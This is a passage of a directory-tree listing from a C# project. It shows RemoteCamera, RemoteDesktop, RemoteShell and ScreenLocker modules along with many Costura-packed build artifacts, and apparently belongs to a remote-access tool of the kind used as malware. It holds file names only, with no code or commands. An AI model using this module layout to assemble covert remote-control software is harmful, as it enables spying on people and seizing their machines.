2303F5C6C93C9247613149D8B6D0AD05EEAE6C51.costura.packetlib.dll.compressed │ │ │ │ │ ├── 24D04CCE98EDAD14DB53A24CF1E23BD07261ED24.costura.packetlib.dll.compressed │ │ │ │ │ ├── 2A9EED6AA4A02D3702F5948DD48893AC88628749.costura.packetlib.dll.compressed │ │ │ │ │ ├── 2D1F8E26FDD407E73DE1F32A4BDA1F650EB65465.costura.packetlib.dll.compressed │ │ │ │ │ ├── 2DA9EC7612835E1F69D4A93AA2D49EC9BDFF7F7C.costura.aforge.dll.compressed │ │ │ │ │ ├── 416C3345FE25EC2ED1C5DDEF18057A83D72BD3CD.costura.packetlib.dll.compressed │ │ │ │ │ ├── 4BF28C9A81692BE014FF2DB1C6D8FEA44F0991EB.costura.packetlib.dll.compressed │ │ │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ │ │ ├── 5D3F97ECFDC3EE21431DAF7C732805CE38DC780F.costura.packetlib.dll.compressed │ │ │ │ │ ├── 5FD5AD06C91006BEB0729DD8EA88B17860D6E9DA.costura.packetlib.dll.compressed │ │ │ │ │ ├── 61CCC5F58DF73C6D48A1A13B59C36D9986C7F761.costura.packetlib.dll.compressed │ │ │ │ │ ├── 659A17B2FBA1ECBB4E18DA56D2F707BD8FEFBB8B.costura.packetlib.dll.compressed │ │ │ │ │ ├── 6692AFDB128A2559F3843A04AD97838079B150DE.costura.packetlib.dll.compressed │ │ │ │ │ ├── 8152845FECAC7FFA594D9F405C7A2992D981D11C.costura.packetlib.dll.compressed │ │ │ │ │ ├── 8E3F7BAEAF15B538498688737FA97DFC3E0E2DC1.costura.packetlib.dll.compressed │ │ │ │ │ ├── 934C594F60A8E49B57CC2E58AF72F19901E5E636.costura.packetlib.dll.compressed │ │ │ │ │ ├── 9F152845EE7DC9D046F01AA20A0677B833060859.costura.packetlib.dll.compressed │ │ │ │ │ ├── A075387C52A0ACA3687B27A9C83EC31B299A23F0.costura.packetlib.dll.compressed │ │ │ │ │ ├── AE425AFFD1FD4DB21A47795FFE10C26A949EF6C5.costura.packetlib.dll.compressed │ │ │ │ │ ├── B3844B220EB90DAA22FF9E69DCBCEC0B514B625C.costura.packetlib.dll.compressed │ │ │ │ │ ├── B38554E9336EF9424FE94211318A6C4CE43968DE.costura.packetlib.dll.compressed │ │ │ │ │ ├── C1578452FEB313D903307662514B8C8F6977757F.costura.packetlib.dll.compressed │ │ │ │ │ ├── C7E730CA59E83FFE5879963E3885F946223C16DE.costura.packetlib.dll.compressed │ │ │ │ │ ├── CE850281D1031BF55BBACE95BC5C291FB730740A.costura.packetlib.dll.compressed │ │ │ │ │ ├── D09B8EA53F24997F1CF152E96C64AF885C2806D2.costura.packetlib.dll.compressed │ │ │ │ │ ├── D3A17C1FDD6D54951141053F88BF8238DEA0B937.costura.aforge.video.directshow.dll.compressed │ │ │ │ │ ├── DAD483B4FE50223B906F2FA8C7A7D20C88BE787C.costura.packetlib.dll.compressed │ │ │ │ │ ├── DDFFDCEF29DADDC36CA7D8AE2C8E01C1C8BB23A8.costura.aforge.video.dll.compressed │ │ │ │ │ ├── EBCA534817A7FEDE883B1BF2E33759759BDBA079.costura.packetlib.dll.compressed │ │ │ │ │ ├── F321010A475134CC91CBD87B736F3A25F8095BF9.costura.packetlib.dll.compressed │ │ │ │ │ ├── F9A276F9E964E77DBB18509EA3FE0D38BCB38AFF.costura.packetlib.dll.compressed │ │ │ │ │ ├── FE316032188A3E3C83585CDD392EDA5212EB6805.costura.packetlib.dll.compressed │ │ │ │ │ └── FFEEF818C82EA672D54DDDAA51A8BE9FFCE1F951.costura.packetlib.dll.compressed │ │ │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ │ ├── RemoteCamera.csproj.AssemblyReference.cache │ │ │ │ ├── RemoteCamera.csproj.CopyComplete │ │ │ │ ├── RemoteCamera.csproj.CoreCompileInputs.cache │ │ │ │ ├── RemoteCamera.csproj.FileListAbsolute.txt │ │ │ │ ├── RemoteCamera.csproj.Fody.CopyLocal.cache │ │ │ │ └── build.force │ │ │ └── Release/ │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ ├── Costura/ │ │ │ │ ├── 0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed │ │ │ │ ├── 14C4061AE6CA4210159922AAA85DBC81B8776C07.costura.packetlib.dll.compressed │ │ │ │ ├── 16417969504A3A17E8DA082932E9D7838863656E.costura.packetlib.dll.compressed │ │ │ │ ├── 1CBA528F9EA3DAD590AA17E67C16725243C6CB9F.costura.packetlib.dll.compressed │ │ │ │ ├── 1D4342FF1EC701341CA2250FE7AFEE79015DEF6B.costura.packetlib.pdb.compressed │ │ │ │ ├── 1DDF3C8679D7B29DC3A95935CE32297FFF0914B6.costura.packetlib.dll.compressed │ │ │ │ ├── 1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed │ │ │ │ ├── 2C9EBAAB8B8E453F38C52380AAC6D3AC1557EE1B.costura.packetlib.dll.compressed │ │ │ │ ├── 2DA9EC7612835E1F69D4A93AA2D49EC9BDFF7F7C.costura.aforge.dll.compressed │ │ │ │ ├── 2FF61148FC624FE5DE63038C5E85B1F4B6FF5DFF.costura.packetlib.dll.compressed │ │ │ │ ├── 30AEEA99FB63C3DA64D44867D00462BD0A84C636.costura.packetlib.dll.compressed │ │ │ │ ├── 314BF5C5FB0358F9A50ECFEB202E5B6DF119D6B6.costura.packetlib.dll.compressed │ │ │ │ ├── 3305A94C05235138A144E56CD5AE59089EBD3840.costura.packetlib.dll.compressed │ │ │ │ ├── 3384D4C0C38654C111F32DF6EAB006FE475D9C20.costura.packetlib.dll.compressed │ │ │ │ ├── 35200804392DE6B6A9E4D54700D0EEA4C9653F8D.costura.packetlib.dll.compressed │ │ │ │ ├── 3BC8A0310BD68277CE47256D31ED984446F56911.costura.packetlib.dll.compressed │ │ │ │ ├── 41C26C3C7B80F14AE827036DB0B5B085D8FE5B7F.costura.packetlib.dll.compressed │ │ │ │ ├── 47D7450F0B49D243DB0F325D22556CDAD50FAB75.costura.packetlib.dll.compressed │ │ │ │ ├── 49956E8744B614CB41B95F1F26C662FB1D50DDAB.costura.packetlib.dll.compressed │ │ │ │ ├── 4AD5E8A4DACAB7C8E86B9617E5E8F2D5417CFEBF.costura.packetlib.dll.compressed │ │ │ │ ├── 4CF2FAFB61BB8CD6C320EBB83D1E822B94EB83B4.costura.packetlib.dll.compressed │ │ │ │ ├── 4E06B2CEA2B95369900E34214D68CA66E3F4DB4C.costura.packetlib.dll.compressed │ │ │ │ ├── 4E7D18F1265B4CB6C4B61AEC5F3FAEE69E929807.costura.packetlib.dll.compressed │ │ │ │ ├── 4E8F293B978F66BF492A656700E0B29E2D17F248.costura.packetlib.dll.compressed │ │ │ │ ├── 54C2E595DA2DBA0446DC7F7CE8716C0DF5B0ACD5.costura.informationparser.dll.compressed │ │ │ │ ├── 5847E4193B3BFBDB884A32190B164DE781103BA0.costura.packetlib.dll.compressed │ │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ │ ├── 5BCB52D679AAC59A6FB1B2531CC61E3A957A647E.costura.packetlib.dll.compressed │ │ │ │ ├── 5E31D7757C6498F61407EFE3D3C45422912B93DA.costura.informationparser.pdb.compressed │ │ │ │ ├── 634ED8248658FB07B6B51C27324A50190CCBF7D4.costura.packetlib.dll.compressed │ │ │ │ ├── 63ABD2940F702C7C110DE20BF085F75B6FD06ED3.costura.packetlib.dll.compressed │ │ │ │ ├── 65200B04A09E42EDD475B82FF0196295790E2535.costura.packetlib.dll.compressed │ │ │ │ ├── 68040B9F931B940A89A0A53D3FCBE981F3ADB3F9.costura.packetlib.dll.compressed │ │ │ │ ├── 68A53BB2C3DE0A6CB7A05D932CF03BD6D268C59B.costura.packetlib.dll.compressed │ │ │ │ ├── 6CACFD214D3716303037CF6C1D2FF759426564BB.costura.packetlib.dll.compressed │ │ │ │ ├── 6CDAEB04809CD73781CF2650177066FD6905272B.costura.packetlib.dll.compressed │ │ │ │ ├── 6DC36E3C70F97D59CBEF86E790C4E5EA1AB5DBF2.costura.packetlib.pdb.compressed │ │ │ │ ├── 70903F9C1D8303F2727443CB36D37555E3AAFD02.costura.packetlib.dll.compressed │ │ │ │ ├── 7160D2BAF3AFCB4E0CF73AC783EB7C2CB243A338.costura.packetlib.dll.compressed │ │ │ │ ├── 71DC8C19FD4642091C70380F204F4632EC7727BD.costura.packetlib.dll.compressed │ │ │ │ ├── 755B7A00ED6A45E8DD0A8A88BF38B13A046E795B.costura.packetlib.dll.compressed │ │ │ │ ├── 75E3E6B11180434960C81C107C97DB89C76F544B.costura.packetlib.dll.compressed │ │ │ │ ├── 7ADAF347C05668866C88D97F33A8B5694EC9EE3F.costura.packetlib.dll.compressed │ │ │ │ ├── 7ADDFDF8A77D5D7E698B48A8F440A4201F9E9951.costura.packetlib.dll.compressed │ │ │ │ ├── 7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed │ │ │ │ ├── 81E29DCA5CAB8A4E873638419525826E65465753.costura.packetlib.dll.compressed │ │ │ │ ├── 8896B0DFB6EB9D188DF147C0E7F4A1DF080500FE.costura.packetlib.dll.compressed │ │ │ │ ├── 94C3222A9FCDF2AD693DF38EFC986EFF5C48DEA6.costura.packetlib.dll.compressed │ │ │ │ ├── 975529C921427F3EAA82CA4E2304C00539B7535C.costura.packetlib.dll.compressed │ │ │ │ ├── 993A4CE56D86DF9E2DFA8C474D6DF2D01F4C19F0.costura.packetlib.dll.compressed │ │ │ │ ├── 994CD3A7CE9FC4551D255B685F9E7E400886FAE6.costura.packetlib.dll.compressed │ │ │ │ ├── 9970470D8A0DB289839E76A59E796CB956F5577C.costura.packetlib.dll.compressed │ │ │ │ ├── 9B30F44C8DEFFDD6ECB3921C55761AFF64F58F16.costura.packetlib.dll.compressed │ │ │ │ ├── 9C440ED15A7EED86217802A3897AD3C18F14768B.costura.packetlib.dll.compressed │ │ │ │ ├── A0CA3E3941DB4ED03A4C602086B8A4C02B64BDED.costura.packetlib.dll.compressed │ │ │ │ ├── B53FB3389EC8F1D8A810DEFBDC207E2B9B5E45C4.costura.packetlib.dll.compressed │ │ │ │ ├── B7BBAD2981AD2C189A335B39B5715C0F34626A58.costura.packetlib.dll.compressed │ │ │ │ ├── B8EFD272172F7F2AFDD629B038C63D103440215A.costura.packetlib.pdb.compressed │ │ │ │ ├── BE95393C5D1B9F4F5C66BBC229DFCCFB4B40C559.costura.packetlib.dll.compressed │ │ │ │ ├── C13DAAAD2065B1B8CB2C7903E68DD997CF626B1C.costura.packetlib.dll.compressed │ │ │ │ ├── C36157EC85B304546635D059C6D4C2AEE58EB0F3.costura.packetlib.dll.compressed │ │ │ │ ├── C5D90F561F0F519C23B3EF77D9F468F66C873656.costura.packetlib.dll.compressed │ │ │ │ ├── C95085E69B954DD9B592168BDC7340DCB7A11947.costura.packetlib.dll.compressed │ │ │ │ ├── CE559977242C685083539822F8224713C6C20E2E.costura.packetlib.dll.compressed │ │ │ │ ├── CE74F5AC102367010A1473955AF0C518BB5E68DD.costura.packetlib.dll.compressed │ │ │ │ ├── D3A17C1FDD6D54951141053F88BF8238DEA0B937.costura.aforge.video.directshow.dll.compressed │ │ │ │ ├── D6288F7563FDDAB14535364ECC07DDBCE31924CF.costura.packetlib.dll.compressed │ │ │ │ ├── D742868B84C619BAE5061AE10B57971D31C82012.costura.packetlib.dll.compressed │ │ │ │ ├── D7458D601F48DB140D86047965F50E88D1FE0D88.costura.packetlib.dll.compressed │ │ │ │ ├── DD58083AFA57CB85A786C3AEA6F34F109A2670E8.costura.packetlib.dll.compressed │ │ │ │ ├── DDFFDCEF29DADDC36CA7D8AE2C8E01C1C8BB23A8.costura.aforge.video.dll.compressed │ │ │ │ ├── E1337E3314270D285BB8AC03573F255AB4711762.costura.packetlib.dll.compressed │ │ │ │ ├── E56D1FBB42EB71690EF56410864EE11E20BDDFB2.costura.packetlib.dll.compressed │ │ │ │ ├── EA874E0790F5E251DDE65CFFA1C2EEAD5AD53604.costura.packetlib.dll.compressed │ │ │ │ ├── EE8387D278313586ED7B14FF0F2FC4CE829C0764.costura.packetlib.dll.compressed │ │ │ │ ├── EEA20B4ABC08CB6BB43873B36181587FB9599752.costura.packetlib.dll.compressed │ │ │ │ ├── EF77E06729EA1AA5C7DEF4429079F5B7EBBD9F19.costura.packetlib.dll.compressed │ │ │ │ ├── F154257EBE8F21A4312317DAED5C191BEFB17794.costura.packetlib.dll.compressed │ │ │ │ └── F67C792CFF6A0F2408BC025AD9C394DA2D12BEEA.costura.packetlib.dll.compressed │ │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ ├── RemoteCamera.csproj.AssemblyReference.cache │ │ │ ├── RemoteCamera.csproj.CopyComplete │ │ │ ├── RemoteCamera.csproj.CoreCompileInputs.cache │ │ │ ├── RemoteCamera.csproj.FileListAbsolute.txt │ │ │ ├── RemoteCamera.csproj.Fody.CopyLocal.cache │ │ │ └── _IsIncrementalBuild │ │ └── packages.config │ ├── RemoteDesktop/ │ │ ├── CaptureHelpers.cs │ │ ├── ClientHandler.cs │ │ ├── Imports.cs │ │ ├── KeyboardHelper.cs │ │ ├── Launch.cs │ │ ├── MouseHelper.cs │ │ ├── Properties/ │ │ │ └── AssemblyInfo.cs │ │ ├── RemoteDesktop.csproj │ │ └── obj/ │ │ ├── Debug/ │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ ├── Costura/ │ │ │ │ ├── 214A03BEA1566B52C191D725EAC8DB68DE122BD5.costura.packetlib.dll.compressed │ │ │ │ ├── 2303F5C6C93C9247613149D8B6D0AD05EEAE6C51.costura.packetlib.dll.compressed │ │ │ │ ├── 24D04CCE98EDAD14DB53A24CF1E23BD07261ED24.costura.packetlib.dll.compressed │ │ │ │ ├── 2A9EED6AA4A02D3702F5948DD48893AC88628749.costura.packetlib.dll.compressed │ │ │ │ ├── 2D1F8E26FDD407E73DE1F32A4BDA1F650EB65465.costura.packetlib.dll.compressed │ │ │ │ ├── 416C3345FE25EC2ED1C5DDEF18057A83D72BD3CD.costura.packetlib.dll.compressed │ │ │ │ ├── 4BF28C9A81692BE014FF2DB1C6D8FEA44F0991EB.costura.packetlib.dll.compressed │ │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ │ ├── 5D3F97ECFDC3EE21431DAF7C732805CE38DC780F.costura.packetlib.dll.compressed │ │ │ │ ├── 5FD5AD06C91006BEB0729DD8EA88B17860D6E9DA.costura.packetlib.dll.compressed │ │ │ │ ├── 61CCC5F58DF73C6D48A1A13B59C36D9986C7F761.costura.packetlib.dll.compressed │ │ │ │ ├── 659A17B2FBA1ECBB4E18DA56D2F707BD8FEFBB8B.costura.packetlib.dll.compressed │ │ │ │ ├── 6692AFDB128A2559F3843A04AD97838079B150DE.costura.packetlib.dll.compressed │ │ │ │ ├── 73BFBED37D0D2C234376DC312786EB72E6D2673D.costura.packetlib.dll.compressed │ │ │ │ ├── 8152845FECAC7FFA594D9F405C7A2992D981D11C.costura.packetlib.dll.compressed │ │ │ │ ├── 8E3F7BAEAF15B538498688737FA97DFC3E0E2DC1.costura.packetlib.dll.compressed │ │ │ │ ├── 934C594F60A8E49B57CC2E58AF72F19901E5E636.costura.packetlib.dll.compressed │ │ │ │ ├── 9F152845EE7DC9D046F01AA20A0677B833060859.costura.packetlib.dll.compressed │ │ │ │ ├── A075387C52A0ACA3687B27A9C83EC31B299A23F0.costura.packetlib.dll.compressed │ │ │ │ ├── AE425AFFD1FD4DB21A47795FFE10C26A949EF6C5.costura.packetlib.dll.compressed │ │ │ │ ├── B3844B220EB90DAA22FF9E69DCBCEC0B514B625C.costura.packetlib.dll.compressed │ │ │ │ ├── B38554E9336EF9424FE94211318A6C4CE43968DE.costura.packetlib.dll.compressed │ │ │ │ ├── C1578452FEB313D903307662514B8C8F6977757F.costura.packetlib.dll.compressed │ │ │ │ ├── C7E730CA59E83FFE5879963E3885F946223C16DE.costura.packetlib.dll.compressed │ │ │ │ ├── CE850281D1031BF55BBACE95BC5C291FB730740A.costura.packetlib.dll.compressed │ │ │ │ ├── D09B8EA53F24997F1CF152E96C64AF885C2806D2.costura.packetlib.dll.compressed │ │ │ │ ├── DAD483B4FE50223B906F2FA8C7A7D20C88BE787C.costura.packetlib.dll.compressed │ │ │ │ ├── EBCA534817A7FEDE883B1BF2E33759759BDBA079.costura.packetlib.dll.compressed │ │ │ │ ├── F321010A475134CC91CBD87B736F3A25F8095BF9.costura.packetlib.dll.compressed │ │ │ │ ├── F9A276F9E964E77DBB18509EA3FE0D38BCB38AFF.costura.packetlib.dll.compressed │ │ │ │ ├── FE316032188A3E3C83585CDD392EDA5212EB6805.costura.packetlib.dll.compressed │ │ │ │ └── FFEEF818C82EA672D54DDDAA51A8BE9FFCE1F951.costura.packetlib.dll.compressed │ │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ ├── RemoteDesktop.csproj.AssemblyReference.cache │ │ │ ├── RemoteDesktop.csproj.CoreCompileInputs.cache │ │ │ ├── RemoteDesktop.csproj.FileListAbsolute.txt │ │ │ ├── RemoteDesktop.csproj.Fody.CopyLocal.cache │ │ │ └── build.force │ │ └── Release/ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ ├── Costura/ │ │ │ ├── 14C4061AE6CA4210159922AAA85DBC81B8776C07.costura.packetlib.dll.compressed │ │ │ ├── 16417969504A3A17E8DA082932E9D7838863656E.costura.packetlib.dll.compressed │ │ │ ├── 1CBA528F9EA3DAD590AA17E67C16725243C6CB9F.costura.packetlib.dll.compressed │ │ │ ├── 1D4342FF1EC701341CA2250FE7AFEE79015DEF6B.costura.packetlib.pdb.compressed │ │ │ ├── 1DDF3C8679D7B29DC3A95935CE32297FFF0914B6.costura.packetlib.dll.compressed │ │ │ ├── 2C9EBAAB8B8E453F38C52380AAC6D3AC1557EE1B.costura.packetlib.dll.compressed │ │ │ ├── 314BF5C5FB0358F9A50ECFEB202E5B6DF119D6B6.costura.packetlib.dll.compressed │ │ │ ├── 3305A94C05235138A144E56CD5AE59089EBD3840.costura.packetlib.dll.compressed │ │ │ ├── 3384D4C0C38654C111F32DF6EAB006FE475D9C20.costura.packetlib.dll.compressed │ │ │ ├── 35200804392DE6B6A9E4D54700D0EEA4C9653F8D.costura.packetlib.dll.compressed │ │ │ ├── 41C26C3C7B80F14AE827036DB0B5B085D8FE5B7F.costura.packetlib.dll.compressed │ │ │ ├── 47D7450F0B49D243DB0F325D22556CDAD50FAB75.costura.packetlib.dll.compressed │ │ │ ├── 4AD5E8A4DACAB7C8E86B9617E5E8F2D5417CFEBF.costura.packetlib.dll.compressed │ │ │ ├── 4CF2FAFB61BB8CD6C320EBB83D1E822B94EB83B4.costura.packetlib.dll.compressed │ │ │ ├── 4E7D18F1265B4CB6C4B61AEC5F3FAEE69E929807.costura.packetlib.dll.compressed │ │ │ ├── 4E8F293B978F66BF492A656700E0B29E2D17F248.costura.packetlib.dll.compressed │ │ │ ├── 54C2E595DA2DBA0446DC7F7CE8716C0DF5B0ACD5.costura.informationparser.dll.compressed │ │ │ ├── 562BCAEE6A22E70E36DF7AA76F7CD80E12B3B262.costura.packetlib.dll.compressed │ │ │ ├── 5847E4193B3BFBDB884A32190B164DE781103BA0.costura.packetlib.dll.compressed │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ ├── 5BCB52D679AAC59A6FB1B2531CC61E3A957A647E.costura.packetlib.dll.compressed │ │ │ ├── 5E31D7757C6498F61407EFE3D3C45422912B93DA.costura.informationparser.pdb.compressed │ │ │ ├── 634ED8248658FB07B6B51C27324A50190CCBF7D4.costura.packetlib.dll.compressed │ │ │ ├── 63ABD2940F702C7C110DE20BF085F75B6FD06ED3.costura.packetlib.dll.compressed │ │ │ ├── 68040B9F931B940A89A0A53D3FCBE981F3ADB3F9.costura.packetlib.dll.compressed │ │ │ ├── 6CDAEB04809CD73781CF2650177066FD6905272B.costura.packetlib.dll.compressed │ │ │ ├── 6DC36E3C70F97D59CBEF86E790C4E5EA1AB5DBF2.costura.packetlib.pdb.compressed │ │ │ ├── 70903F9C1D8303F2727443CB36D37555E3AAFD02.costura.packetlib.dll.compressed │ │ │ ├── 71DC8C19FD4642091C70380F204F4632EC7727BD.costura.packetlib.dll.compressed │ │ │ ├── 755B7A00ED6A45E8DD0A8A88BF38B13A046E795B.costura.packetlib.dll.compressed │ │ │ ├── 75E3E6B11180434960C81C107C97DB89C76F544B.costura.packetlib.dll.compressed │ │ │ ├── 7ADAF347C05668866C88D97F33A8B5694EC9EE3F.costura.packetlib.dll.compressed │ │ │ ├── 7ADDFDF8A77D5D7E698B48A8F440A4201F9E9951.costura.packetlib.dll.compressed │ │ │ ├── 81E29DCA5CAB8A4E873638419525826E65465753.costura.packetlib.dll.compressed │ │ │ ├── 8896B0DFB6EB9D188DF147C0E7F4A1DF080500FE.costura.packetlib.dll.compressed │ │ │ ├── 975529C921427F3EAA82CA4E2304C00539B7535C.costura.packetlib.dll.compressed │ │ │ ├── 994CD3A7CE9FC4551D255B685F9E7E400886FAE6.costura.packetlib.dll.compressed │ │ │ ├── 9970470D8A0DB289839E76A59E796CB956F5577C.costura.packetlib.dll.compressed │ │ │ ├── 9B30F44C8DEFFDD6ECB3921C55761AFF64F58F16.costura.packetlib.dll.compressed │ │ │ ├── 9C440ED15A7EED86217802A3897AD3C18F14768B.costura.packetlib.dll.compressed │ │ │ ├── A0CA3E3941DB4ED03A4C602086B8A4C02B64BDED.costura.packetlib.dll.compressed │ │ │ ├── B53FB3389EC8F1D8A810DEFBDC207E2B9B5E45C4.costura.packetlib.dll.compressed │ │ │ ├── B8EFD272172F7F2AFDD629B038C63D103440215A.costura.packetlib.pdb.compressed │ │ │ ├── C13DAAAD2065B1B8CB2C7903E68DD997CF626B1C.costura.packetlib.dll.compressed │ │ │ ├── C36157EC85B304546635D059C6D4C2AEE58EB0F3.costura.packetlib.dll.compressed │ │ │ ├── C95085E69B954DD9B592168BDC7340DCB7A11947.costura.packetlib.dll.compressed │ │ │ ├── CE559977242C685083539822F8224713C6C20E2E.costura.packetlib.dll.compressed │ │ │ ├── D6288F7563FDDAB14535364ECC07DDBCE31924CF.costura.packetlib.dll.compressed │ │ │ ├── D742868B84C619BAE5061AE10B57971D31C82012.costura.packetlib.dll.compressed │ │ │ ├── D7458D601F48DB140D86047965F50E88D1FE0D88.costura.packetlib.dll.compressed │ │ │ ├── E421D4D7851FEEFFF7C3A0E8137285644E4D33B7.costura.packetlib.dll.compressed │ │ │ ├── E56D1FBB42EB71690EF56410864EE11E20BDDFB2.costura.packetlib.dll.compressed │ │ │ ├── EA874E0790F5E251DDE65CFFA1C2EEAD5AD53604.costura.packetlib.dll.compressed │ │ │ ├── EE8387D278313586ED7B14FF0F2FC4CE829C0764.costura.packetlib.dll.compressed │ │ │ ├── EEA20B4ABC08CB6BB43873B36181587FB9599752.costura.packetlib.dll.compressed │ │ │ ├── EF77E06729EA1AA5C7DEF4429079F5B7EBBD9F19.costura.packetlib.dll.compressed │ │ │ ├── F154257EBE8F21A4312317DAED5C191BEFB17794.costura.packetlib.dll.compressed │ │ │ └── F67C792CFF6A0F2408BC025AD9C394DA2D12BEEA.costura.packetlib.dll.compressed │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── RemoteDesktop.csproj.AssemblyReference.cache │ │ ├── RemoteDesktop.csproj.CoreCompileInputs.cache │ │ ├── RemoteDesktop.csproj.FileListAbsolute.txt │ │ ├── RemoteDesktop.csproj.Fody.CopyLocal.cache │ │ └── _IsIncrementalBuild │ ├── RemoteShell/ │ │ ├── ClientHandler.cs │ │ ├── Launch.cs │ │ ├── Properties/ │ │ │ └── AssemblyInfo.cs │ │ ├── RemoteShell.csproj │ │ ├── ShellHander.cs │ │ └── obj/ │ │ └── Release/ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── RemoteShell.csproj.AssemblyReference.cache │ │ ├── RemoteShell.csproj.CopyComplete │ │ ├── RemoteShell.csproj.CoreCompileInputs.cache │ │ ├── RemoteShell.csproj.FileListAbsolute.txt │ │ └── _IsIncrementalBuild │ ├── ScreenLocker/ │ │ ├── FodyWeavers.xml │ │ ├── FodyWeavers.xsd │ │ ├── Helpers.cs │ │ ├── Imports.cs │ │ ├── Launch.cs │ │ ├── Properties/ │ │ │ └── AssemblyInfo.cs │ │ ├── ScreenLocker.cs │ │ ├── ScreenLocker.csproj │ │ ├── ScreenLocker.resx │ │ ├── obj/ │ │ │ ├── Debug/ │ │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ │ ├── Costura/ │ │ │ │ │ ├── 1FEA5F8FA655B193A04C274724FE663EA6A0387E.costura.hookhardware.pdb.compressed │ │ │ │ │ ├── 214A03BEA1566B52C191D725EAC8DB68DE122BD5.costura.packetlib.dll.compressed │ │ │ │ │ ├── 24D04CCE98EDAD14DB53A24CF1E23BD07261ED24.costura.packetlib.dll.compressed │ │ │ │ │ ├── 2A9EED6AA4A02D3702F5948DD48893AC88628749.costura.packetlib.dll.compressed │ │ │ │ │ ├── 2D1F8E26FDD407E73DE1F32A4BDA1F650EB65465.costura.packetlib.dll.compressed │ │ │ │ │ ├── 37E2A24200D20C11EF86A6A398955D3ADFBEF706.costura.hookhardware.dll.compressed │ │ │ │ │ ├── 4BF28C9A81692BE014FF2DB1C6D8FEA44F0991EB.costura.packetlib.dll.compressed │ │ │ │ │ ├── 4EAA5A47C90E1A2AD24EC41065CBE89E07623A51.costura.hookhardware.dll.compressed │ │ │ │ │ ├── 504C9532ADD5D3003765B46D31875DDB1EFE435C.costura.hookhardware.pdb.compressed │ │ │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ │ │ ├── 5D3F97ECFDC3EE21431DAF7C732805CE38DC780F.costura.packetlib.dll.compressed │ │ │ │ │ ├── 5FD5AD06C91006BEB0729DD8EA88B17860D6E9DA.costura.packetlib.dll.compressed │ │ │ │ │ ├── 61CCC5F58DF73C6D48A1A13B59C36D9986C7F761.costura.packetlib.dll.compressed │ │ │ │ │ ├── 659A17B2FBA1ECBB4E18DA56D2F707BD8FEFBB8B.costura.packetlib.dll.compressed │ │ │ │ │ ├── 6692AFDB128A2559F3843A04AD97838079B150DE.costura.packetlib.dll.compressed │ │ │ │ │ ├── 6767F946F0C860515466B18FE1C039D496EDD346.costura.hookhardware.dll.compressed │ │ │ │ │ ├── 7B32E1A26EF18123290BECFEC534CD8F30E60E83.costura.hookhardware.pdb.compressed │ │ │ │ │ ├── 8152845FECAC7FFA594D9F405C7A2992D981D11C.costura.packetlib.dll.compressed │ │ │ │ │ ├── 8E3F7BAEAF15B538498688737FA97DFC3E0E2DC1.costura.packetlib.dll.compressed │ │ │ │ │ ├── 934C594F60A8E49B57CC2E58AF72F19901E5E636.costura.packetlib.dll.compressed │ │ │ │ │ ├── 9F152845EE7DC9D046F01AA20A0677B833060859.costura.packetlib.dll.compressed │ │ │ │ │ ├── B38554E9336EF9424FE94211318A6C4CE43968DE.costura.packetlib.dll.compressed │ │ │ │ │ ├── C1578452FEB313D903307662514B8C8F6977757F.costura.packetlib.dll.compressed │ │ │ │ │ ├── C6C95B42DB7E7AB5F59F41E6FD096AD9AC2727BE.costura.hookhardware.dll.compressed │ │ │ │ │ ├── CE850281D1031BF55BBACE95BC5C291FB730740A.costura.packetlib.dll.compressed │ │ │ │ │ ├── D09B8EA53F24997F1CF152E96C64AF885C2806D2.costura.packetlib.dll.compressed │ │ │ │ │ ├── D325FD236AA714066A9F79CEFED884D769B8B49F.costura.hookhardware.pdb.compressed │ │ │ │ │ ├── EAEEDAA2AC6C541BB578A26FE73CBD79E1DC2CC8.costura.hookhardware.dll.compressed │ │ │ │ │ ├── EBCA534817A7FEDE883B1BF2E33759759BDBA079.costura.packetlib.dll.compressed │ │ │ │ │ ├── F321010A475134CC91CBD87B736F3A25F8095BF9.costura.packetlib.dll.compressed │ │ │ │ │ ├── FE316032188A3E3C83585CDD392EDA5212EB6805.costura.packetlib.dll.compressed │ │ │ │ │ └── FFEEF818C82EA672D54DDDAA51A8BE9FFCE1F951.costura.packetlib.dll.compressed │ │ │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ │ ├── ScreenLocker.csproj.AssemblyReference.cache │ │ │ │ ├── ScreenLocker.csproj.CoreCompileInputs.cache │ │ │ │ ├── ScreenLocker.csproj.FileListAbsolute.txt │ │ │ │ ├── ScreenLocker.csproj.Fody.CopyLocal.cache │ │ │ │ └── build.force │ │ │ └── Release/ │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ ├── Costura/ │ │ │ │ ├── 061AB494021411DF7172952FC2EA57214F5AD919.costura.hookhardware.dll.compressed │ │ │ │ ├── 0637A6590717B11BB6463C7F33FBEE5A86B105B5.costura.hookhardware.dll.compressed │ │ │ │ ├── 